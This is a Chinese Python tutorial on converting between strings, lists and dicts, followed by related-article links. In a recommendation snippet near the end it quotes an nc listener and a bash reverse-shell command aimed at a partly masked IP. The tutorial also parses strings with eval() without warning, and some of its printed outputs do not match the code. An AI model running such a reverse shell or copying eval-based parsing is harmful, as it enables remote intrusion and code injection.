一.字符串str与列表list

1.字符串转列表

字符串转为列表list,可以使用str.split()方法,split方法是在字符串中对指定字符进行切片,并返回一个列表,示例代码如下:

# !usr/bin/env python
# -*- coding:utf-8 _*-
"""
@Author:何以解忧
@Blog(个人博客地址): shuopython.com
@WeChat Official Account(微信公众号):猿说python
@Github:www.github.com @File:python_data.py
@Time:2019/9/20 20:45 @Motto:不积跬步无以至千里,不积小流无以成江海,程序人生的精彩需要坚持不懈地积累!
""" str1 = "hello word 猿说python python教程"
print(str1) # 输出字符串
print(type(str1)) # 输出数据类型:
print(len(str1)) # 输出字符串长度 print("***"*20) # 小敲门:直接打印60个*
#根据空格切片
list1 = str1.split(" ") # 对字符串中的空格(' ')进行切片,返回值是一个列表list并赋值给list1
print(list1) # 输出列表数据
print(type(list1)) # 输出数据类型:类型
print(len(list1)) # 输出列表长度(列表的数据个数) print("***"*20) # 小敲门:直接打印60个*
#根据字符'p'切片
list1 = str1.split("p") # 对字符串中的'p'进行切片,返回值是一个列表list并赋值给list1
print(list1) # 输出列表数据
print(type(list1)) # 输出数据类型:类型
print(len(list1)) # 输出列表长度(列表的数据个数) print("***"*20) # 小敲门:直接打印60个*
#根据字符'o'切片
list1 = str1.split("o") # 对字符串中的'o'进行切片,返回值是一个列表list并赋值给list1
print(list1) # 输出列表数据
print(type(list1)) # 输出数据类型:类型
print(len(list1)) # 输出列表长度(列表的数据个数)

输出结果:

hello word 猿说python python教程
<class 'str'>
28
************************************************************
['hello', 'word', '猿说python', 'python教程']
<class 'list'>
4
************************************************************
['hello word 猿说', 'ython ', 'ython教程']
<class 'list'>
3
************************************************************
['hell', ' w', 'rd 猿说pyth', 'n pyth', 'n教程']
<class 'list'>
5

2.列表转字符串

列表转为字符串需要使用”.join()方法,join()方法可以直接将列表转为一个字符串,示例代码如下:

list1 = ["hello", "word", "猿说python", "python教程"]
print(list1) # 输出字符串
print(type(list1)) # 输出数据类型:
print(len(list1)) # 输出字符串长度 print("***"*20) # 小敲门:直接打印60个*
#根据空格切片
str1 = "".join(list1) # 对字符串中的空格(' ')进行切片,返回值是一个列表list并赋值给list1
print(str1) # 输出列表数据
print(type(str1)) # 输出数据类型:类型
print(len(str1)) # 输出列表长度(列表的数据个数)

输出结果:

['猿说python', 'word', 'python教程', 'hello']
<class 'list'>
4
************************************************************
猿说pythonwordpython教程hello
<class 'str'>
25

二.字符串str与字典dict

1.字符串转字典

将字符串转为字典可以通过内置函数eval()完成,对于内置函数eval()的使用,在后面的文章还会有详细讲解,今天先简单了解一下:

# 注意单引号和双引号的配合使用
str1 = '{"name":"zhangsan","age":18,"sing_dog":False }'
print(str1)
print(type(str1))
print(len(str1)) print("***"*20) # 小敲门:直接打印60个*
dict1 = eval(str1) # 强制将字符串str转为字典dict
print(dict1)
print(type(dict1))
print(len(dict1))

输出结果:

{"name":"zhangsan","age":18,"sing_dog":False }
<class 'str'>
46
************************************************************
{'name': 'zhangsan', 'age': 18, 'sing_dog': False}
<class 'dict'>
3

2.字典转字符串

将字典转为字符串可以直接通过str()类型强制转换即可,示例代码如下:

dict1 = {"name":"zhangsan","age":18,"sing_dog":False }
print(dict1)
print(type(dict1))
print(len(dict1)) print("***"*20) # 小敲门:直接打印60个*
str1 = str(dict1) # 强制将字典dict转为字符串str
print(str1)
print(type(str1))
print(len(str1))

输出结果:

{'name': 'zhangsan', 'age': 18, 'sing_dog': False}
<class 'dict'>
3
************************************************************
{'name': 'zhangsan', 'age': 18, 'sing_dog': False}
<class 'str'>
50

三.列表list与字典dict

1.列表转字典

列表转为字典不能通过dict()强制转换,但是可以通过内置函数zip()完成,具体代码如下:

list1 = ["hello", "word", "猿说python", "python教程"]
list2 = ["a","b","c","d","e","f","g"]
dict1 = dict(zip(list1,list2)) print(dict1)
print(type(dict1))
print(len(dict1))

输出结果:

{'hello': 'a', 'word': 'b', '猿说python': 'c', 'python教程': 'd'}
<class 'dict'>
4

注意:内置函数zip 是将两个列表的数据两两组合形成键值对,构成字典;如果两个列表的长度不一致时,多出的元素在另一个列表无匹配的元素时就不展示多出的元素。

2.字典转列表

可以通过list()方法强制将字典中的key 或者 value转为列表,示例代码如下:

dict1 = {"name":"zhangsan","age":18,"sing_dog":False }
# 强制将字典dict中的keys转为列表
list1= list(dict1.keys())
print(list1)
print(type(list1))
print(len(list1)) print("***"*20) # 小敲门:直接打印60个*
# 强制将字典dict中的values转为列表
list2 = list(dict1.values())
print(list2)
print(type(list2))
print(len(list2))

输出结果:

['name', 'age', 'sing_dog']
<class 'list'>
3
************************************************************
['zhangsan', 18, False]
<class 'list'>
3

猜你喜欢:

1.python  字符串

2.python 列表

3.python 元组

4.python 字典

转载请注明:猿说Python » python 字符串(str)/列表(list)/元组(tuple)/字典(dict)之间的相互转换

技术交流、商务合作请直接联系博主
扫码或搜索:猿说python
猿说python
微信公众号 扫一扫关注

python字符串/列表/元组/字典之间的相互转换(5)的更多相关文章

  1. python字符串 列表 元组 字典相关操作函数总结

    1.字符串操作函数 find 在字符串中查找子串,找到首次出现的位置,返回下标,找不到返回-1 rfind 从右边查找 join 连接字符串数组 replace 用指定内容替换指定内容,可以指定次数 ...

  2. python 字符串,列表,元组,字典相互转换

    1.字典 dict = {'name': 'Zara', 'age': 7, 'class': 'First'} 字典转为字符串,返回:<type 'str'> {'age': 7, 'n ...

  3. Python笔记【5】_字符串&列表&元组&字典之间转换学习

    #!/usr/bin/env/python #-*-coding:utf-8-*- #Author:LingChongShi #查看源码Ctrl+左键 #数据类型之间的转换 Str='www.baid ...

  4. python_字符串&列表&元组&字典之间转换学习

    #!/usr/bin/env/python #-*-coding:utf-8-*- #Author:LingChongShi #查看源码Ctrl+左键 #数据类型之间的转换 Str='www.baid ...

  5. Python第三天 序列 5种数据类型 数值 字符串 列表 元组 字典 各种数据类型的的xx重写xx表达式

    Python第三天 序列  5种数据类型  数值  字符串  列表  元组  字典 各种数据类型的的xx重写xx表达式 目录 Pycharm使用技巧(转载) Python第一天  安装  shell ...

  6. Python第三天 序列 数据类型 数值 字符串 列表 元组 字典

    Python第三天 序列  数据类型  数值  字符串  列表  元组  字典 数据类型数值字符串列表元组字典 序列序列:字符串.列表.元组序列的两个主要特点是索引操作符和切片操作符- 索引操作符让我 ...

  7. **python中列表 元组 字典 集合

    列表 元组 字典 集合的区别是python面试中最常见的一个问题.这个问题虽然很基础,但确实能反映出面试者的基础水平. 1.列表 列表是以方括号“[]”包围的数据集合,不同成员以“,”分隔. 列表的特 ...

  8. python中列表 元组 字典 集合的区别

    列表 元组 字典 集合的区别是python面试中最常见的一个问题.这个问题虽然很基础,但确实能反映出面试者的基础水平. (1)列表 什么是列表呢?我觉得列表就是我们日常生活中经常见到的清单.比如,统计 ...

  9. Python学习-列表元组字典操作

    一.列表 列表是Python的基本数据类型之一,它是以 [] 括起来的,内部成员用逗号隔开.里面可以存放各种数据类型. # 例如: list2 = ['jason', 2, (1, 3), ['war ...

随机推荐

  1. LOJ2269. 「SDOI2017」切树游戏 [FWT,动态DP]

    LOJ 思路 显然是要DP的.设\(dp_{u,i}\)表示\(u\)子树内一个包含\(u\)的连通块异或出\(i\)的方案数,发现转移可以用FWT优化,写成生成函数就是这样的: \[ dp_{u}= ...

  2. windows传文件到linux服务器--- secureCRT PK xftp

    背景: 需要从windows上传下载文件到aws虚拟服务器上并进行服务器环境搭建,由于secureCRT的局限性它只支持pub格式的密钥,不支持pem格式密钥,xshell是支持pem格式的,所以尝试 ...

  3. SpringData like关键字不起作用

    使用springdata简单查询时,like关键字不起作用 Hibernate: select article0_.oId as oId1_2_, article0_.articleAbstract ...

  4. mint-ui 做省市选择组件

    省市的数据是动态的,其实不是动态的更好搞 <!-- 省市选择 --> <mt-popup v-model="popupVisible" position=&quo ...

  5. @Autowired静态变量

    @Component public class UserUtil{ private static Config config; @Autowired public void setConfig(Con ...

  6. 【转】JDK5.0中JVM堆模型、GC垃圾收集详细解析

    基本概念 堆/Heap JVM管理的内存叫堆:在32Bit操作系统上有4G的限制,一般来说Windows下为2G,而Linux下为3G:64Bit的就没有这个限制.JVM初始分配的内存由-Xms指定, ...

  7. cross socket tcp客户端开发

    cross socket tcp客户端开发 uses Net.SocketAPI, Net.CrossSocket.Base, Net.CrossSocket FCrossTcp: ICrossSoc ...

  8. Ubuntu -- 反射shell nc

    攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ...

  9. js怎么模拟点击网页元素

    在测试页面中,引入jquery源文件,并添加一个div标签,一个a标签,为了演示效果a标签暂时不添加地址 通过jquery为div标签绑定一个点击事件,这个事件是被动执行的.意思是要点击才会触发的 在 ...

  10. getLocation 需要在 app.json 中声明 Permission 字段

    小程序开发中,清除授权状态后,重新编译,提示:getLocation 需要在 app.json 中声明 Permission 字段 需要在 app.json 里面增加 permission 属性配置( ...